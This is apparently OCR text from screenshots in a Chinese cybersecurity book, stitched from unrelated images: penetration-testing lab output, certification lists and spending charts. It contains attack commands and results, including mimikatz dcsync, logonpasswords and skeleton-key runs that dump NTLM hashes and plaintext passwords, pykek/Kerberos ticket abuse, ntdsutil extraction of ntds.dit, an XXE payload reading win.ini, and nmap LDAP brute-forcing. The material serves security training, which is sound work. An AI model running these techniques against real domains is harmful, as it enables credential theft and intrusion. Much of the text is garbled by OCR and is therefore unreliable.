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ERAE (AN ~|
BEEFR(M): =2
EB(S): Microsoft Windows 2% iZREHE(D): 2018/7/20 11:03:21
44 ID(E): 4738 EEER(Y): BRRASE
&E(L): (== ERFK):  FRES
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CaWindows\system3Z\cmd.exe
E: \pykeloklist

L ER 1D £ 0:0x8f24e
EETFREE: >

ERilf: testl @ XRSEC.COM
}ﬁ% kebtgt /XXSEC.COM @ KXSEC.COM

Kerberos ZAFJIZZ2EA: RSADSI RC4-HMACKNT>

mm} #77% 0x58a00800 —> forwardable proxiable renewable pre_authent
ﬁ “51 (8]: 2/14,2018 19:19:59 <A

:  7/15/2818 5:19:59 AR
zfﬂﬂ \a 2/21,20818 19:19:59 R
£IEZFTHZEE): RSADST RC4-HMACKNT)

[E: \pykekonet.exe use \\xxsecdc.xxsec. com\admin$
L -\pyk=k>n=t exe use z: \\xxsecdc.xxsec.com\c$

E:\pykek>dir z:\Windows\NTDS

3@%§ z EBEHEE

E 8CFD-998D

2:\Windows \WIDS H1EF

2018,/07/13 <DIR>
2018/07/13 <DIR>
2018/07/13 8,192
2018/82/13 10,485,760
2018,07/13 10,485,760
2018/87/13 10.485.760 edbres@BO01 . jrs
e18,/07/13 10,485,768 edbresBPPB2. jrs
2018,/07/13 18,890,752 ntds.dit
2018/87/13 2,113,536 temp.edh
62,955,520 7
- 87.681,056,768 O]
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ID

1 ProcessCreate

2 FileCreateTime

3 NetworkConnect
4n/a

5 ProcessTerminate

6 DriverLoad

7 Imageload

8 CreateRemoteThread
9 RawAccessRead

10 ProcessAccess

11 FileCreate

12 RegistryEvent

13 RegistryEvent

14 RegistryEvent

15 FileCreateStreamHash
16 n/a

17 PipeEvent

18 PipeEvent

Tag

Process Create

File creation time

Network connection detected

Sysmon service state change (cannot be filtered)
Process terminated

Driver Loaded

Image loaded

CreateRemoteThread detected

RawAccessRead detected

Process accessed

File created

Registry object added or deleted

Registry value set

Registry object renamed

File stream created

Sysmon configuration change (cannot be filtered)
Named pipe created

Named pipe connected

Event
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TTP/1.1 200 OK

ate: Tue, 15 May 2018 03:13:13 GMT

erver: Apache/2.4.23 (Vin32) OpenSSL/1.0.2j PHP/5.4.45

(-Powered-By: PHP/5.4.45

xpires: Thu, 19 Nov 1981 08:52:00 GMT

ache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
ragna: no-cache

ontent-Length: 4092

onnection: close

ontent-Type: text/html

'DOCTYPE htaml
[html>

(head>
meta http-equiv="Content-Type” content="text/html: charset=UTF-8">

!—<link rel="stylesheet” type="text/css” href="https://fonts. googleapis. con/css?family=Architects+Daughter”>— b

lLJ u uj Type a search term 0 matches|

inished
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[ Target | Proxy | Spider | Scanner Mﬁepﬂu | Sequencer | Decoder | Comparer | Extender | Project options | User aptions | Aterts |

1%

Target Payloads | Opti

@ Payload Positions ctas

Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full

details
Attack type: [ Pitchfork 7]
[POST /bWAPP/login. php HTTP/1.1 .

Host: 192, 168. 204, 166 (e s

(Content-Length: 55
Cache-Control. max-age=0 CloacS:
Origin: http://192. 168. 204. 166
Upgrade-Insecure-Requests: 1 Auto §
(Content-Type: application/s-wewforn-urlencoded

User-Agent: Mozilla/5.0 (Vindows NT 10.0; Win4: x64) AppleVebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36 Refresh
lAccept: text/htnl, application/shtnl+zal, application/znl:q=0. 9, inage/vebp, inage/apne, #/*;a=0. 8

Referex: http //192. 168. 204. 166/bVAPP/login. php
sccept-Bncoding: gzip. deflate

|Accept-Language: zh-CH, zh:q=0.9, en:q=0.8

(Cookie: PHPSESSID=1tg93pcukbhhdqged21419ceaT: security_level=d
(Connection: close

adnin § épassword= § admin § ksecurity_level=Okfora=submit
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mimikatz # lsadump::dcsync /user:test2 /domain:xxsec.com
[DC] ’xxsec.com’ will be the domain

[DC] ’KKSECDC.xxsec.com’ will be the DC server

[DC] ’test2’ will be the user account

: test2
User Principal Name : test2@xxsec.com

Account Type : 30000000 ( USER_OBJECT )

User Account Control : 00000200 ( NORMAL_ACCOUNT )

Account expiration :

Password last change : 2018/7/13 18:01:00

Object Security ID : $-1-5-21-911700101-3124736594-2299049968-1105
Object Relative ID : 1105

Credentials:
Hash NTLM: 8aa283ebdaS9bdd2cbbeketlblfSeBae
ntlm- 0: 8aa283ebda59bSd2cbbetektlbifSe8ae
Im - 0: 52ca5c53bckcI6fbBec?624387f4d3ab
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$i277 - nslookup

> set type=txt

> qq.com
R%2S: publici.ii4dns.com
Addvess: 114.114.114.114

DNS request timed out.
timeout was 2 seconds.

qq.con text =

"v=spf1 include:spf.mail.qq.com -all”
> s201512._domainkey.qq.con

AR5522: publici.iiddns.com
fddress: 114.114.114.114

IDNS request timed out.
out was 2 seconds.

A B2 <

201512._domainkey.qq.con text =

“o=DKIM1; k=rsa; p=MIGEMABGCSqGSIb3DQEBAQUAA4GNADCE:QKByQDPSFIOSteMStsN)
5gUUK2RpNJ/B/eknnd jU1u2f NzRADFk SF8mCHghBuY e8ud6 FUqxUIS9ZhabZq6 P5 jnC Ao t PGZAKA9.j
findaB38hzZ5cUmuy Zkdue6 dM1 75 Woc PZ0Be PHUdq ?hQuf Gull JUuMKE e TB3 iNeo6 /hFhh9 TnUignwipQ1 DA|
AR
> _dmarc.qq.com

IFR%522: publici.ii4dns.com
Address: 114.114.114.114

DNS request timed out.
timeout was 2 seconds.

eV

dmarc.qg-com  text =

“y=DMARC1; p=none; rua=mailto:mailauth-reports@qq.con"
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Request

Raw | Params | Headers | Hex | XML

Response

Headers | Hex

POST /bWAPP/sali_8-2. php HITP/1.1

Host: 192.168.204. 166

Content-Length: 135

Origin: http://192.168. 204. 166

User-Agent: Nozilla/5.0 (Windows NT 10.0: Win64: x64) AppleVebKit/537.36 (KHTHL,
like Gecko) Chrome/66.0.3359. 170 Safari/537.36
Content-type: text/zml: charset=UTF-§

Accept: #/%

Referer: http://192.168.204. 166/bVAPP/sqli_8-1. php
Accept-Encoding: gzip. deflate

Accept-Language: zh-CN, zh;q=0. 9, en:q=0.8

Cookie: security_leve PHPSESSID=5pri Ttmkbid0sv86vao3TantT
Comnection: close

<!DOCTYPE foo [<!ENTITY xxe SYSTEM “file:///c:/windows/win. ini”
1><reset><login>beekxxe: </login>secret>Any bugs?</secret></reset

HTTP/1.1 200 OK

Date: Tue, 15 May 2018 05:59:11 GHT

Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2) PHP/5.4.45

¥-Powered-By: PHP/5.4.45

Expires: Thu, 19 Nov 1981 08:52:00 GHT

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=
Pragma: no-cache

Content-Length: 122

Comnection: close

Content-Type: text/htnl

bee: for 16-bit app support
[fonts]

[extensions]

mci extensions]

iles]

[Maill

MAPI=1

"s secret has been reset!
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[root@localhost ~]# nmap
Nmap 6.40 ( http://nmap.org )
usage: nmap [Scan Type(s)] [Options] {target specification}
ARGET SPECIFICATION:
can pass hostnames, IP addresses, networks, etc.
EXx: Scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
iL <inputfilename>: Input from Tlist of hosts/networks
R <num hosts>: Choose random targets
exclude <hostl[,host2 [,hos:B],...>: Exclude hosts/networks
excludefile <exclude_file>: Exclude Tist from file
HOST DISCOVERY:
-sL: List Scan - 5imp1¥ Tlist targets to scan
-sn: Ping Scan - disable port scan
-Pn: Treat all hosts as online -- skip host discovery
-PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports|
-PE/PP/PM: ICMP echo, timestam?. and netmask request discovery probes
-po[protocol list]: IP Protocol Ping
-n/-R: Never do DNS resolution/Always resolve [default: sometimes]
dns-servers <servi[,serv2],...>: Specify custom DNS servers
system-dns: Use 0S's DNS resolver
--traceroute: Trace hop path to each host
SCAN TECHNIQUES:

-55/5T/SA/sw/sM: TCP SYN/Connect()/ACK/window/Maimon scans
-sU: UDP Scan

-SN/sF/sX: TCP Null, FIN, and Xmas scans

--scanflags <f1a%s>: Customize TCP scan flags

-sI <zombie host[:probeport]>: Idle scan
-5Y/sZ: SCTP INIT/COOKIE-ECHO scans
-s0: IP protocol scan
-b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: only scan specified ports
Ex: -p22; -p1-65535; -p uU:53,111,137,T:21-25,80,139,8080,5:9
-F: Fast mode - Scan fewer ports than the default scan
-r: Scan ports consecutively - don't randomize
top-ports <number>: Scan <number> most common ports
--port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE /VERSION DETECTION:
-sV: Probe open ports_to determine service/version info
--version-intensity <level>: set from 0 (light) to 9 (try all probes)
version—Ii?ht: Limit to most 1ikely probes (intensity 2)
version-all: Try every single probe (intensity 9)
--version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
-sC: eguivalent to --script=default
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root@sectest:/# nmap -sS -Pn -sV -0 192.168.204.166

Starting Nmap 7.40 ( https://mmap.org ) at 2018-05-06 11:39 CST
[Nmap scan report for 192.168.204.166

Host is up (0.00026s latency) -

[Not shown: 988 closed ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.23 ((Win32) OpenssSL/1.0.2j
HP/5.4.45)

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn Microsoft Windows netbios-ssn
3306/tcp open mysqgl MySQL (unauthorized)

3389/tcp open ssl/ms-wbt-server?

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
8080/tcp open http Bpache Tomcat/Coyote JSP engine 1.1
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
49163/tcp open mSrpc Microsoft Windows RPC

MAC Address: 00:0C:29:3A:5C:04 (VMware)

Device type: general purpose|media device

[Running: Microsoft Windows 2008|10|7]8.1, Microsoft embedded
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BrainFood » Blog - IT Career Juice » 1

10 Hot Cyber Security Certifications for 2017

© Updated: Wednesday, 05 October 2016 ¢ Ben Dickson % IT Certification News, IT Career News

« CISSP - Certified Information Systems Security Professional
CISA - Certified Information Systems Auditor

CISM - Certified Information Security Manager

GSEC - GIAC Security Essentials Certification

CRISC - Certified in Risk and Information Systems Control
CEH - Certified Ethical Hacker

ECSA - EC-Council Certified Security Analyst

GPEN - GIAC Penetration Tester

CompTIA Security+
« SSCP - Systems Security Certified Practitioner
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Before

POST /bank/login.aspx HTTP/1.1

Host: demo.testfire.net

User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S X 10.9;
Accept: text/html,application/xhtml+xml,application/xml;
Accept-Language: zh-tw,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://demo.testfire.net/bank/login.aspx

Cookie: ASP.NET_SessionId=4Tk4bi55kbg@p134rjpjh23h; amSe
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 38

uid=admin&passw=123456&btnSubmit=Login

One-Time Token

~—

Dynamic

After

POST /bank/login.aspx?y7bRbP=k~RV24ZKg4vfeNwEAjUkm1l-5tq.
Host: txdemo.blueangles.info

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.9;
Accept: text/html,application/xhtml+xml,application/xml;
Accept-Language: zh-tw,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Referer: http://txdemo.blueangles.info/bank/login.aspx?y
Cookie: csrftoken=jAJQWho5MZe93i4gDNuznRSCxWdDZ03q; sess
Connection: keep-alive

Content-Type: application/x-www-form-urlencoded
Content-Length: 139

C1K5twlw6_=WA3Ax@XAIIkU6-ZQOGpHYS0EAqs_DBg-KRSTPI7AX_nbu:

Obfuscation
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Note: Reflects responses from 45 companies in the Global 500 about their cybersecurity spending
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® Industrial
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@ Others
Unprotected
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IT security spending? as a proportion of total IT spending, %

and capabilities.

‘Companies’ cybersecurity maturiy is rated on a scale of 10 4, with 4 being the most mature
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#Spending is rated on a scale of 1 to 10; no companies allocated more than 10% of their budget

on security.
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i m%&h&tﬁﬁ “ntds” o
Windows \systen32\ntdsutil.exe: ifm
ifm: create full e:\ifm
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</ spany text-align: center;
</span> display: inline-block;
</span> overflow: » hidden;
</p> - vertical-align: baseline;
i " N
div div #content div div div div div div div div p span span span em b i — — y——————
i Console What'sNew X X

“

Hinhlinhts from the Chrome 67 undate.
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codeBtn. data(“isDisable”, true);

codeBtn. text (’ﬁEYEP a2,
this. ajaxPushParan(“retrieve /sendCaptcha/investorCenter”, param, function(data){

if (data == “0") {
codeBtn. buttonCountDown (“bcDisable”) ;
return;

H
validateInfo. reSendButton(codeBtn, 'ﬂﬂ%ﬁﬁf@]’) 5

}, codeBtn);

1,

Sk

*/ﬁiﬁ% TSR
*,

chechCaptchIdCard: function() {
var phoneNo = §(“#phone_no”).val() ;
var captcha = $(”.code_inp”).val();
var idCard = $ (“#card_inp”).val();

var param = {“phoneNo”: phoneNo, “captcha”: captcha, “idCard”: idCard};
this. ajaxPushParan(“retrieve /checkCaptchaldCard/investorCenter”, param, function(data){
if (data == “07) {
$(”. form_statusl”).removeClass (' show’);
$(".revise_statusl”).removeClass(“suc”);
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/ 0S Commond Inection /

DNS lookup: |test.com Lookup

999999 UnKnown Address: 192.168.204.2 ¢ ¢ € €: test.com.localdomain Address: 127.0.0.1
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Filter: | dns or nbns v Expression.. Clear Apply

SrcPort Destination DstPort  Protocol Length Info

165 51787 DNS 151 standard query response, No such name

53 ) 165 62896 DNS 132 standard query response, No such name
137 255 137 NBNS 92 Name query NB XYZ123<00>
255 137 NENS. 92 Name query NB XYZ123<00>

137 0.064.255 137 NBNS 92 Name query NB XYZ123<00>
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froot@dmznat scriptsi# nmap -p389 -T4 --script=1dap-brute.nse --script-args passdb=/tmp/pass.txt,userdb=/tmp/user.txt 172.16.

starting Nmap 5.51 ( http://nmap.org ) at 2018-07-20 14:24 CST
Nmap scan report for 172.16.0.200

Host is up (0.00055s Tatency).

PORT STATE SERVICE

389/tcp open ldap

| 1dap-brut
| test2:xxx@345 => Login correct

|_  ITCADAAminl:xoX@1234 => Login correct
MAC Address: 00:50:56:A6:4E:BF (vMware)

Nmap done: 1 IP address (1 host up) scanned in 13.30 seconds
[root@dmznat scriptsl# il
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' Properties

WO | EETWSmation I Address and Phone | Organization I Account |

Member OF | E-Mail Addresses | Mailbox Settings |
tail Flow Settings Mailbox Features | Calendar Settings |
Properties... () Enable Disable
Feature Status I
[ Dutlaok 'wieb Spp
@ Euchange ActiveSyne  Disabled
= titied Messagng Drizatied
(v MR Enabled
AEFOR Disabled
B IMap4 Disabled
[ uchive Disabled

Description
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316 BMEER
317 BITRLBER
> 32 R2BHR
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@ainikatz 2.1.1 264 (oe. e0)

HHEE. mimikatz 2.1.1 (x64) built on Oct 27 2017 11:40:49
JHE T HH. "A La Vie, A L’ Amour™
Hi /N HE /e ox o>
## \ / ##  Benjamin DELPY ‘gentilkiwi‘ { benjamin@gentilkiwi.com )
'H# v HH' http://blog.gentilkiwi.com/mimikatz {oe.eo)
THEHER with 21 modules = = =/

mimikatz # privilege::debug
Privilege '20° OK

minikatz # misc::skeleton
[KDC] data

[KDC] struct

[KDC] keys patch OK

[RC4] functions

[RC4]1 init patch 0K

[RC41 decrypt patch OK

mimikatz #
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2018-06-15AF% Lo

Elements Console  Sources  Network
v IV TTESS="CEleINto-T1gNT CLEar+Iix">
before
»<div class="movie-brief-containe
»<div clas! action-buyBt
v<div class="movie-stats-container">
» <div class="movie-index’ /div>
v<div class="movie-index">
<p class="movie-index-title">EHEE/p>
v<div class="movie-index-content box’
<span class="stonefont™ C</span> ==
pan class="unit
</div>

Performance  Memory

TS

9

.stonefont

62315

ik
44819AFF5>

65.16x30

Application  Security  Audits

Styles  »
Filt :hov .cls +,

element.style {
]

movie-detail.40d41..
.movie-stats-
container .movie-
index .box
.stonefont {
font-si
30px;
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#define kPing_tunnel magic 0xD5200880

frer t ter

155

typedef struct {

uint32_t magic,
dst_ip,
dst_port,
state,
ack,
data_len;

uintl6_t seq_no,
id_no;

char data[0]; opt

__attribute_ ((packed)) ping_- tunnel pkt t
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Filter: Hiding 2xx responses

Request A‘ Payload1 ] Payload2 Status | Emor | Timeout | Length ‘ Comment
3902 bee bug 302 ] O 505
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ANSI/ISO/IEC 17024 (Accredited)

#  Organization

1 AABC Commissioning Group (ACG)
Certified Commissioning Authority (CxA) Program

2  ABRET Neurodiagnostic Credentialing & Accreditation
Certification for Long Term Monitoring (CLTM)
Certification in Neurophysiologic Intraoperative Monitoring (CNIM)

3  American Board of Industrial Hygiene
Certified Industrial Hygienist (CIH)

4 American Board of Multiple Specialties in Podiatry
Diabetic Foot Wounds and Foot Wear
Foot and Ankle Surgery
Limb Preservation and Salvage
Primary Care in Podiatric Medicine

D
1215

1253

0766

0672






OEBPS/Image00243.jpg
Original Web Page

class="cc br bb">

gn="top
<br style="line-height: 10px;"/>
<a id="_ct10_ ctl0_Content_CatLinkl" class="subheader" href="default.aspx?content=personal
<ul class="sidebar">
<li><a id="_ctl0_ ctl0_Content_ MenuHyperLinkl" href="default.aspx?content=personal

<li><a id="_ctl0__ctl0_Content_MenuHyperLink2" href="default.aspx?content=personal
<li><a id=""ctl0_ctl0_Content MenuHyperLink3" href="default.aspx?content=personal
<li><a id="_ctl0__ctl0_Content_MenuHyperLink4" href="default.aspx?content=personal
<li><a id="_ctl0_ ctl0_Content_MenuHyperLink5" href="default.aspx?content=personal i

<li><a id="_ct10_ctl0_Content MenuHyperLink6" href="default.aspxZcontent=personal

Response #1

gn="top
<br style="line-height: 10px;"/>
<I¢11PD7$§0(VSXLI( ' eRkxZwUg9FdUuXMGbFKj nRHObPPjCN—DGI‘Hﬁt—EZijya“BhSBHYaRV:iIIBngIZ!5m
<ul class="sidebar">
<li><script> $g0(_$iu('1E20_DOOhhRj0nByxhgU0cBIxt1U01IeHH1bgpIMhIde0koNhBG1ZPMEBMeLEO-
<li><script>_$g0(_$iu('0BEfGUCtBWIAXv_1Qwwcz6_wQWNCotcF3fub9tP8XyLXK1CSEmPVUiBheAevCs
<li><script>_$g0(_$iu('EwEw7aD_pB9kPItPsBwS£0tzs8NSbl_nYMEHjv_1pEyV3YP1pxmzOV5il7ArOTi.
<li><script> $g0(_$iu( ' ZHOWbwcA2WI1NxiEVWCBLRihvsCXANy7fKFIQtyE2DP1sgfg20Xe3yeGS14pR3J
<li><seript> $90(_$iu('BA9kbr5sKz3wLTnxVZyGLcJOhk1IAlezID1XQpehxK9ITAk2yXUGH3Pyvw1eGROX
<li><seript> $g0(_$iu('mogLouAKQhOC6vICBhIhC6IS8hRhSOBb3iS dIBDOBXESKE5QIT35U-_E-qO5
</ul>

#2

gn="top
<br style="line-height: 10px;"/>
<script>_$hw(_$iy('Kj2bno-kHNRgZuUVRINgmZkv1JLlnZsUwhz10aAUTiZWKOSS1Fyf CkMWwtQyvvevtitGdLk
<ul class="sidebar">

<li><script> $hw(_$iy('TsuNUIYV7AH63h30XUDtoM36XUltr-LLL1t4HEL17c1Gq_a%7k5Rx479yohTiFQ

<li><script>_ Shw(_$iy('ApeeIbmxxpSOI1xUhpABSPX1hpQ8FnyoJVZBUSYEX1WOROEIX1EJKCeRQSMEUKJ.

Respons

<li><script>_$hw(_$iy('qVQexPlfRUAOMKEAMUS81bE_MUe81CgdwswBxTgRRkz0OVGVRCNIWDZSWVY £ JOW

<li><script>_$hw(_S$iy('CgMvydBXB4UyT-0524X1040yz4_luhs5~-d1TyLs8BBIX6FhbBXKUZMUNA404Z_y

<li><script>_$hw(_$iy('m3WNgOUZQMG6CUMUBMELTVM58MZ tu6-0382450-wOHeGCbuOQiRRdOBEERVTZDI!

<li><script>_$hw(_$iy('2DDLghAhZm_CidQpSmMhiHQQSmvhtI7mgqv_DQ70ZA0fii0rZAk3DBLIL2800X3
</ul>
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DKIM-Signature: v=1; a=rsa-sha266; c=relaxed/relaxed; d=qq.com; s=s201512;
1=1528336173; bh=hVPRFdDVBA9jCJORSEIB1Hrsvq2 jHBhY fHMSQK j6118=;
h=From:To:Subject :Mime-Version:Content-Type :Content-Transfer-Encoding:Date:Nessage-ID;
b=ESoQwSt+hTCIUv]YqelWzfe5KeckyhdVarY JdpDiqk J1H9ud2v51 xK iWolapiy/UQ
0C32LUnNrHYXCush ] 1wchWOU£D j 3pH5roP gt 8riSyr deR1 xbup621 flly31Kn2Ri JFK
1VEV+tXcanXxbQrIDBbE+owx TXd+1LT9hdSbZubg=

X-QQ-FEAT: abmcLOhI 9kvqCHzosy93tThbKIVIHNEAKPDA jcXY 03ccC20645+uZk10fsTlvk
q557ml TKFR4 jXt 0] axozQWI Tb1FBLR/HR3ZCOUyVT4rudveBvz4zdY s66BkG3eFPvZOViH
F6uViwl Ve Tk /hb ankAwKHUNOTinPz9Z02D2K560pGTLwIEral 9nppKXBOXCt 1eQ54 TnNBK
SbgPOCDATS1aTbSeZ fHEx2b jpVzWn/cgPl fE282vAGKLSNDGOZ JrTuBxV+6 jabmi=

¥-QQ-SSF: 00010000000000F0000000000000002

X-HAS-ATTACH: no

X-QQ-BUSINESS-ORIGIN: 2

X-Originating-IP: 124.66. 31. 200

X-QQ-STYLE:

¥0QQ-mid: webmail582t1528336172t8977187

From: =?150-8859-17B7eH]lzalk="7= « y@qq. com>

To: =?150-8859-17B?aGV5TWSnanVu?= <k - . com>

Subject: xxyyzz

Content-Type: multipart/alternative;
boundary="--——=_NextPart_5B188F2C_0C370480_6E70DA65”

Content-Transfer-Encoding: 8Bit

Date: Thu, 7 Jun 2018 09:49:32 +0800

Message-ID: <tencent_S5053163DTB9852AAD402703FATAB6SE1D609Rqq. com>

¥-GQ-MIME: TCMime 1.0 by Tencent

X¥-Nailer: QQMail 2.x

¥-QQ-Mailer: QQMail 2.x

X-0Q-SENDSIZE: 520

Received: from qq.com (unknown [127.0.0.11) by smtp.qq. com (ESHTP) with SNTP
id ; Thu, 07 Jun 2018 09:49:32 +0800 (CST)

Feedback-ID: webmail:qq. com:bgweb:bgwebl28

Return—Path: Sqq. com

X-NS-Exchange-Organization-AuthSource: WED0. yst a.cn

X-NS-Exchange-Organization-AuthAs: Anonymous

MINE-Version: 1.0






OEBPS/Image00026.jpg
REEE admin

BIEEER  01HNR EEN 16 ETHEN: 16 FST:EM 10 BTREE

FETEE

EternalBlue_BG
W = eenanie

EtE

Joomla_BG
W s ooms

[ 20 R i |

fEs HEOS

MariaDB_BG

W s varoos BHE =EEs
sy : D
Memcached_BG

| e : Memcached =8OS

) [ 20 i |






OEBPS/Image00124.jpg
A i N H
ML IEA TR SML IS
% PINIES
it E
i feit LA
E45"
JLHR I e 4 bR
75 AN 7 4t il
1 TEMFE A
2 FEIE R
3 il il (Ridr . B cfk)
2 AR 4 AL ]
5 T AR A
6 AR
7 A
8 R
175 AN A il
1 il (i
it 2 Akl
3 A
4 A AR B L
2] WAEME i il
g SRR ROSR (U 2o
HARGE) BT
2 TR NSO R B
3 PEIAGE (15027001, CMMI %)
JF 254 ik
1
WAk ARER
3 L% AL
4 ]
5 .S AT ]
155 WA ks it
1 g
2 Yk
ey g o
4 fii ¥
it Ol






OEBPS/Image00245.jpg
e ey

ALY
. 4 7
TR

sl

g BRERZE
G
kP
[IIl_ O]

UniNXG

{] g6 (L

EN





OEBPS/Image00027.jpg
imikatz 2.1.1 x64 (oe.eo)

mimikatz # sekurlsa:

Authentication Id :
Session
User Name
Domain
Logon Server
Logon Time
SID
nsy :
(000000031
= Username :
* Domain
= LM
* NTLH
= SHA1
tspkg :

= Username :

* Domain
» Password
wdigest :

» Username :

* Domain
= Password
kerberos :

» Username :

* Domain
» Password

ssp
[000000001

= Username :

» Domain
= Password
credman :

: Interactive from 1

: testl

: KHSEC

: KKSECDC

: 2018/7/20 10:52:03

: §-1-5-21-911700101-3124736594-2299049968-1104

:logonpasswords

0 ; 9734182 (00000000:00948826)

Primary
testl
: RXSEC
: dbfa8926e79501beaad3bs35b51404ee
: 68e0d319ca31d789eb225c311340811ce
: £72258bab49665cf44fd15103b659f fcb7fal589

testl
: KXSEC
: KHK@123

testl
: KKSEC
: KHK@123

testl
: KXSEC.COM
: KHK@123

itcadadminl
: RHSEC
: KKKK@1234






OEBPS/Image00123.jpg
|Target | Proxy | Spider | Scanner 1 Intruder | Repeater 1 Sequencer | Decoder | Comparer | Extender \ Project options | User options | Alerts

Intercept | HTTP history | WebSockets history | Options |

Request to http://192.168.204.166:80

Forward ‘ Drop [ ‘ Intercept is on 1 ‘ Action

Headers | Hex

POST /bWAPP/login.php HTTP/1.1

Host: 192.168. 204. 166

Content-Length: 55

Cache-Control: max-age=0

Origin: http://192.168. 204. 166

Upgrade-Insecure-Requests: 1

Content-Type: application/z-www—form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.170 Safari/537.36
Accept: text/html, application/xhtml+xnl, application/xml;q=0.9, inage/webp, inage/apng, */*;q=0.8
Referer: http://192.168. 204. 166/bWAPP/login. php

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN, zh:q=0.9, en;q=0.8

Cookie: PHPSESSID=1tg93pcuk6hhdqged21419cgnT; security_level=0

Connection: close

login=adninkpassword=adminksecurity_level=0&form=submit
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Credential abbreviation

Certification Title

Issuing Organization

CIPP Certified Information Privacy Professional
CIPM Certified Information Privacy Manager IAPP
CIPT Certified Information Privacy Technologist
eIPT eLearnSecurity Certified Junior Penetration Tester
eCPPT eLearnSecurity Certified Professional Penetration Tester
eWPT eLearnSecurity Web Application Penetration Tester
eMAPT eLearnSecurity Mobile Application Penetration Tester
eNDP eLearnSecurity Network Defense Professional eLearnSecurity
eCRE eLearnSecurity Certified Reverse Engineer
eCTHP eLeamSecurity Certified Digital Forensics Professional
eCPTX eLearnSecurity Certified Penetration Tester eXtreme
eCTHP eLearnSecurity Certified Threat Hunting Professional
CPSA CREST Practitioner Security Analyst
CRT CREST Registered Penetration Tester
CCT-APP CREST Certified Web Application Tester
CREST
CCT-Infra CREST Certified Infrastructure Tester
CC SAS CREST Certified Simulated Attack Specialist
CC SAM CREST Certified Simulated Attack Manager
CEPT Certified Expert Penetration Tester
CPT Certified Penetration Tester
CREA Certified Reverse Engineering Analyst
IACRB
CASS Certified Application Security Specialist
CSsA Certified SCADA Security Architect

CMFE

Certified Mobile Forensics Examiner
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Table 6. Operational Areas
that Account for Security Spending

Operational Area %Response

Protection and prevention 72.4%
Detection and response 62.8%
Compliance and audit(including legal) 58.6%
Risk reduciton 49.7%
End user training and awareness 45.5%
Governance/Policies 43.4%
Staff training and certification 39.3%
Security program or project management 38.6%
Design/Development 34.5%
Discovery and forensics 31.7%
Other 2.1%
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= \Windous\systen32>net.exe use \\xxsecdc\admin$

TS

:\Windows \systen32>dir \“xxsecde\c$

%%% \vosecdeNes HIAIEIEHIE .

73|22 8CFD-998D

\wosecdees HIEF

2009/07/14 11:20 <DIR> Perflogs
2018/07/13 17:21 <DIR> Program Files
2018/87/13 17:21 <DIR> Progran Files (x86)
2018/87/15 ©8:54 <DIR> Users

2018,07/13 17:26 <DIR> Umdnus

g j‘\;ég 87,672.082,432 ?{%

= \Windous \systen32>whoani
xxsec\testl






OEBPS/Image00249.jpg
(&%
ZEEERAE SE & DMZ X

Bl H i R 40

)

SRR TR R (Il 2R 2T

7

HERT S soC

AT F S s E

11 Bl 58 E A R A i A2

SOC HH AR ET

BRI T RG0S AN AR (H PR A P 75

DLP R4t

HEER 5 soc £

e A LR e

F 3 A0 IE R 75 1 i

SOC GG L





OEBPS/Image00023.jpg
B B i E X i ¥+
B iAiE Spoofing (f&'H ) R INIE 2] {2 billg, microsoft.com & ntdll.dil
SR Tampering (5L4) (Ch e e TN B —4> DLL., 38—~ RSk 9 1 54
; CTRVEAT Kk email” “FREABHL
SRR iati &1 ERRA AN A
AT A Repudiation (75ik) TR AN T PF i A TR
P Information Disclosure E A SR S 2 o i Fo 4 5 A B 13 Windows J8 AL S 4%
o (fF Btk il B VIS A 3 1
T F Denial of Service ({H4 (IR 35 X0 1 466 5 1) Jo R B AL bR R 48 CPU I B fir
' k55 ) R o R % M ARl AR IR 55 19 15
b2k Elevation of Privlege({ LR JEREH PR TR AT, e )

THRLER)

#e

DI T 3 R 1Y R S48 4





OEBPS/Image00127.jpg
Apparently you forgot your secret...

E-mail:
sample@email tst

Forgot

Hello Dpmmgump! Your secret: 1






OEBPS/Image00248.jpg
FBOEOBB

Backup E=leac] BhER FEEE wOasE BEEEE

BB BBl

BEEM ESHT mERIA RS

BB oB BB

[eleaari HEEs Fises pre il ] TR

BBy oB B

(o=t WEEFES TETR
S

B 3= I8

£4TH README. Rolan.cfg Rolan.exe






OEBPS/Image00032.jpg
Choose Your Quiz Mode

Choose Your Question Type

@ Practice O Exam

@Al

@ Incorrect [ Bookmarked

Specify Learning Objectives : Total 12 selected

@ Chapters

) Chapter 1: Security and Risk
Management (Domain 1)

@ Chapter 2: Asset Security
(Domain 2)

@l Chapter 3: Security Architecture
and Engineering (Domain 3)

@ Chapter 4: Communication and
Network Security (Domain 4)

@l Chapter 5: Identity and Access
Management (Domain 5)

@ Chapter 6: Security Assessment
and Testing (Domain 6)

@ Chapter 7: Security Operations

@ Practice Tests
@I Practice Test 1
@ Practice Test 2
@ Practice Test 3
@ Practice Test 4

() Skipped

@ Select All

Available Questions

1334

How many questions do
you want o attempt?

1334

Question Level
Feedback

Quiz Feedback Yes

Quiz
Name

Practice Set #472






OEBPS/Image00030.jpg
1ASE

Home

Cybersecurity Training 'V

To

iap

Information Assurance
Support Environment

